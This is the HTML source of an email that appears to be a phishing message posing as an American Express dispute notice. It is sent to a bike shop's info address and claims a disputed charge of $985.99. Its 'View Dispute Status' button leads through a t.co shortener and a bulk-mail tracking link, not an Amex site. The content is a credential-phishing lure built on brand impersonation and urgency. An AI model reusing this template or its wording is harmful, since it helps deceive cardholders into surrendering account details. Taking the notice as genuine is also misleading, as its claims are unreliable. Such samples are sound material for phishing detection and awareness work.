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OM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0=
px">&nbsp;</P></TD></TR>
<TR style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif">
<TD style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif; WIDTH: 97px;=
 PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PAD=
DING-RIGHT: 0px; BACKGROUND-COLOR: rgb(0,23,90)">
<P style=3D"FONT-SIZE: 10pt; FONT-FAMILY: arial; COLOR: black; PADDING-BOTT=
OM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0=
px">&nbsp;</P></TD>
<TD style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif; WIDTH: 1752p=
x; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; P=
ADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(0,23,90)">
<P style=3D"FONT-SIZE: 21px; FONT-FAMILY: arial; COLOR: white; PADDING-BOTT=
OM: 0px; TEXT-ALIGN: left; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px=
; PADDING-RIGHT: 0px"><SPAN style=3D"FONT-SIZE: 21px; FONT-FAMILY: arial; W=
HITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FLOAT: none; F=
ONT-WEIGHT: 400; COLOR: rgb(255,255,255); FONT-STYLE: normal; DISPLAY: inli=
ne !important; BACKGROUND-COLOR: rgb(0,23,90); TEXT-INDENT: 0px; text-decor=
ation-color: initial">Dear Card Member,</SPAN></P></TD></TR>
<TR style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif">
<TD style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif; WIDTH: 97px;=
 PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PAD=
DING-RIGHT: 0px; BACKGROUND-COLOR: rgb(0,23,90)">
<P style=3D"FONT-SIZE: 10pt; FONT-FAMILY: arial; COLOR: black; PADDING-BOTT=
OM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0=
px">&nbsp;</P></TD>
<TD style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif; WIDTH: 1752p=
x; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; P=
ADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(0,23,90)">
<P style=3D"FONT-SIZE: 5pt; FONT-FAMILY: arial; COLOR: black; PADDING-BOTTO=
M: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0p=
x">&nbsp;</P></TD></TR>
<TR style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif">
<TD style=3D"BORDER-TOP: rgb(0,23,90) 1pt solid; FONT-FAMILY: arial, helvet=
ica, clean, sans-serif; BORDER-RIGHT: rgb(0,23,90) 1pt solid; WIDTH: 1847px=
; BORDER-BOTTOM: rgb(0,23,90) 1pt solid; PADDING-BOTTOM: 0px; PADDING-TOP: =
0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0px; BACKGROUND-COLOR: =
rgb(0,23,90)" colSpan=3D2>&nbsp;</TD></TR></TBODY></TABLE></TD></TR></TBODY=
></TABLE>
<TABLE style=3D"FONT-FAMILY: new; BORDER-TOP-COLOR: rgb(217,217,217); WIDTH=
: 650px; WORD-SPACING: 0px; TEXT-TRANSFORM: none; WORD-BREAK: normal; BORDE=
R-LEFT-COLOR: rgb(217,217,217); BORDER-BOTTOM-COLOR: rgb(217,217,217); BORD=
ER-RIGHT-COLOR: rgb(217,217,217); TEXT-INDENT: 0px; text-decoration-color: =
initial" cellSpacing=3D0 cellPadding=3D0>
<TBODY style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif">
<TR style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif">
<TD style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif; WIDTH: 94px;=
 PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PAD=
DING-RIGHT: 0px">
<P style=3D"FONT-SIZE: 10pt; FONT-FAMILY: arial; COLOR: black; PADDING-BOTT=
OM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0=
px">&nbsp;</P></TD>
<TD style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif; WIDTH: 1648p=
x; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; P=
ADDING-RIGHT: 0px">
<P style=3D"FONT-SIZE: 13pt; FONT-FAMILY: arial; COLOR: rgb(0,23,90); PADDI=
NG-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-R=
IGHT: 0px">&nbsp;</P></TD></TR></TBODY></TABLE></TD></TR>
<TR style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif">
<TD style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif; PADDING-BOTT=
OM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0=
px" bgColor=3D#ffffff><STRONG><FONT color=3D#00175a>info&nbsp;,</FONT></STR=
ONG></TD></TR>
<TR style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif">
<TD style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif; PADDING-BOTT=
OM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0=
px" height=3D10>
<P style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif; PADDING-BOTTO=
M: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0p=
x"><STRONG style=3D"FONT-SIZE: 17px; FONT-FAMILY: arial; WHITE-SPACE: norma=
l; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,23,90); FONT-STYLE=
: normal; TEXT-ALIGN: center; TEXT-INDENT: 0px; text-decoration-color: init=
ial"><BR>We have adjusted your&nbsp;payment options to reflect a disputed a=
mount of $985.99</STRONG></P>
<P style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif; PADDING-BOTTO=
M: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0p=
x">&nbsp;</P></TD></TR>
<TR style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif">
<TD style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif; PADDING-BOTT=
OM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0=
px">
<P style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif; PADDING-BOTTO=
M: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0p=
x" align=3Dleft><STRONG style=3D"FONT-SIZE: 17px; FONT-FAMILY: arial; WHITE=
-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,23,90=
); FONT-STYLE: normal; TEXT-ALIGN: center; TEXT-INDENT: 0px; text-decoratio=
n-color: initial">Follow the prompt below to view your dispute status.</STR=
ONG></P></TD></TR>
<TR style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif">
<TD style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif; PADDING-BOTT=
OM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0=
px" height=3D10>&nbsp;</TD></TR>
<TR style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif">
<TD style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif; PADDING-BOTT=
OM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0=
px">
<P style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif; PADDING-BOTTO=
M: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0p=
x" align=3Dleft><SPAN style=3D"FONT-SIZE: 17px; FONT-FAMILY: arial; WHITE-S=
PACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FLOAT: none; FONT-WE=
IGHT: 400; COLOR: rgb(0,23,90); FONT-STYLE: normal; TEXT-ALIGN: center; DIS=
PLAY: inline !important; TEXT-INDENT: 0px; text-decoration-color: initial">=
</SPAN>&nbsp;</P></TD></TR>
<TR style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif">
<TD style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif; PADDING-BOTT=
OM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0=
px" height=3D10><A title=3D"" style=3D"FONT-SIZE: 12pt; TEXT-DECORATION: no=
ne; BORDER-TOP: rgb(0,23,90) 1px solid; FONT-FAMILY: Arial; BORDER-RIGHT: r=
gb(0,23,90) 1px solid; WIDTH: 240px; BACKGROUND: rgb(0,23,90); WHITE-SPACE:=
 normal; WORD-SPACING: 0px; BORDER-BOTTOM: rgb(0,23,90) 1px solid; TEXT-TRA=
NSFORM: none; FONT-WEIGHT: bold; COLOR: rgb(255,255,255); PADDING-BOTTOM: 1=
0px; FONT-STYLE: normal; TEXT-ALIGN: center; PADDING-TOP: 10px; PADDING-LEF=
T: 10px; BORDER-LEFT: rgb(0,23,90) 1px solid; ORPHANS: 2; WIDOWS: 2; DISPLA=
Y: block; LETTER-SPACING: normal; LINE-HEIGHT: 25px; PADDING-RIGHT: 10px; T=
EXT-INDENT: 0px; font-variant-ligatures: normal; font-variant-caps: normal;=
 -webkit-text-stroke-width: 0px; border-radius: 20px" href=3D"https://t.co/=
8eAIyNT8lM" shape=3Drect rel=3Dnofollow target=3D_blank data-saferedirectur=
l=3D"https://www.google.com/url?q=3Dhttps://ejjcaab.r.bh.d.sendibt3.com/tr/=
cl/oAuzVg96edW2Toj3f8jFzFoH583RLBGdBE1B4NjAJfA2GGcv7rVQ5sr-2mPGq8ocMPl8SyXU=
C_jmcdGCWhy8orp6TdIVXYf36IFJRscUhZKVY3_YDpoTXNbhj7jWFdMm3kJ5lv47x6dBtiiAkPd=
0qKf1ohM64jFVJ--YI2SbTme0vMOE8zcab88Lhzb1knetPNu2a_s_PrZUu9ih1lWZ0N56WHzsya=
E&amp;source=3Dgmail&amp;ust=3D1703849033123000&amp;usg=3DAOvVaw01eqmQss_59=
4R_r8HV_I4q">View Dispute&nbsp;Status</A>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p; &nbsp;</TD></TR>
<TR style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif">
<TD style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif; PADDING-BOTT=
OM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0=
px">&nbsp;</TD></TR>
<TR style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif">
<TD style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif; PADDING-BOTT=
OM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0=
px" height=3D10>&nbsp;</TD></TR>
<TR style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif">
<TD style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif; PADDING-BOTT=
OM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0=
px"><STRONG style=3D"FONT-SIZE: 17px; FONT-FAMILY: arial; WHITE-SPACE: norm=
al; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,23,90); FONT-STYL=
E: normal; TEXT-ALIGN: center; TEXT-INDENT: 0px; text-decoration-color: ini=
tial">This notice has been generated electronically for info@21stbikes.com<=
/STRONG></TD></TR>
<TR style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif">
<TD style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif; PADDING-BOTT=
OM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0=
px" height=3D10>&nbsp;</TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<TABLE class=3Dd00452cf828c1c2911c69f23ab30b8yiv8581792665nysz_nzyrs.nzyrsn=
yrsnzysssynr style=3D"FONT-SIZE: 12px; FONT-FAMILY: arial, helvetica, clean=
, sans-serif; BORDER-TOP-COLOR: rgb(217,217,217); WIDTH: 650px; WHITE-SPACE=
: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; WORD-BREAK: normal; BORD=
ER-LEFT-COLOR: rgb(217,217,217); FONT-WEIGHT: 400; COLOR: rgb(0,0,0); FONT-=
STYLE: normal; BORDER-BOTTOM-COLOR: rgb(217,217,217); ORPHANS: 2; WIDOWS: 2=
; BORDER-RIGHT-COLOR: rgb(217,217,217); LETTER-SPACING: normal; TEXT-INDENT=
: 0px; font-variant-ligatures: normal; font-variant-caps: normal; -webkit-t=
ext-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-=
style: initial; text-decoration-color: initial" cellSpacing=3D0 cellPadding=
=3D0 align=3Dcenter bgColor=3D#ffffff border=3D0>
<TBODY style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif">
<TR style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif">
<TD class=3Dd00452cf828c1c2911c69f23ab30b8yiv8581792665nysz_nzyrs.nzyrsnyrs=
nzysssynr style=3D"BORDER-TOP: rgb(255,255,255) 5px solid; FONT-FAMILY: ari=
al, helvetica, clean, sans-serif; BACKGROUND: no-repeat; PADDING-BOTTOM: 0p=
x; PADDING-TOP: 0px; PADDING-LEFT: 0px; MIN-HEIGHT: 80px; MARGIN: 0px; PADD=
ING-RIGHT: 0px">&nbsp;</TD></TR>
<TR style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif">
<TD style=3D"FONT-SIZE: 11px; FONT-FAMILY: arial, helvetica, sans-serif; CO=
LOR: rgb(102,102,102); PADDING-BOTTOM: 0px; PADDING-TOP: 12px; PADDING-LEFT=
: 0px; MARGIN: 0px; PADDING-RIGHT: 0px">
<HR style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif">

<P style=3D"FONT-SIZE: 16px; FONT-FAMILY: arial, helvetica, clean, sans-ser=
if; COLOR: rgb(81,84,94); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LE=
FT: 0px; MARGIN: 0.4em 0px 1.18em; LINE-HEIGHT: 1.625; PADDING-RIGHT: 0px">=
<STRONG>Thanks,</STRONG><BR style=3D"FONT-FAMILY: arial, helvetica, clean, =
sans-serif"><STRONG>American Express Customer Service Team.</STRONG></P></T=
D></TR></TBODY></TABLE></BODY></HTML>